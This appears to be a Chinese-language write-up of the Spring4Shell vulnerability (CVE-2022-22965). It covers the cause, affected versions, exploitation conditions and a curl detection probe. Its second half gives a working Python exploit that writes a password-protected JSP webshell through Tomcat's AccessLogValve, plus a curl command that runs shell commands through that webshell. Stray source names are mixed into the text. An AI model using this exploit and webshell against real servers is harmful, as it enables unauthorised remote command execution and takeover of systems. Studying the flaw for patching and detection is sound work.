漏洞名称:Spring Framework 远程代码执行漏洞(Spring4Shell)
漏洞编号:CVE-2022-22965
危害等级:高危(CVSS 9.8)blog.csdn
漏洞类型:远程代码执行(RCE)
核心原因:在 JDK 9+ 环境下,Spring MVC 的参数绑定机制允许通过 class.module.classLoader 绕过旧补丁(CVE-2010-1622),导致攻击者可修改 Tomcat 的 AccessLogValve 属性,写入恶意 JSP 文件(WebShell)
受影响版本:
组件 受影响版本范围 安全版本
Spring Framework 5.3.0–5.3.17, 5.2.0–5.2.19 ≥5.3.18, ≥5.2.20
Spring Boot 衍生框架(如 2.6.6 以下版本)≥2.6.6
利用条件(需同时满足):
1.JDK 版本 ≥ 9(因 class.module 是 JDK 9+ 引入)juejin
2.使用 Apache Tomcat 作为 Servlet 容器
3.应用以 WAR 包方式部署(非
JAR)nics.nat.gov4.依赖 spring-webmvc 或 spring-webflux
发送以下请求,若返回 HTTP 400 错误,可能存在漏洞:
curl -v "http://target:port/path?class.module.classLoader.URLs%5B0%5D=0"
原理:Spring 解析 classLoader.URLs[0]=0 时因类型不匹配(URL 数组无法赋值 0)抛出异常
以下代码来自开源项目
import requests
target_url = "http://target:port/helloworld/greeting"
payload_path = "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
# 发送payload
response = requests.get(target_url + payload_path)
if response.status_code == 200:
print("[+] 漏洞可能存在!访问 WebShell:http://target:port/tomcatwar.jsp?pwd=j&cmd=whoami")
else:
print("[-] 未检测到漏洞")
功能:自动发送 Payload 并写入 WebShell(路径:/tomcatwar.jsp),密码 pwd=j
访问 WebShell 执行命令:
curl "http://your-ip:8080/tomcatwar.jsp?pwd=j&cmd=whoami"
成功则返回服务器用户信息(如 root)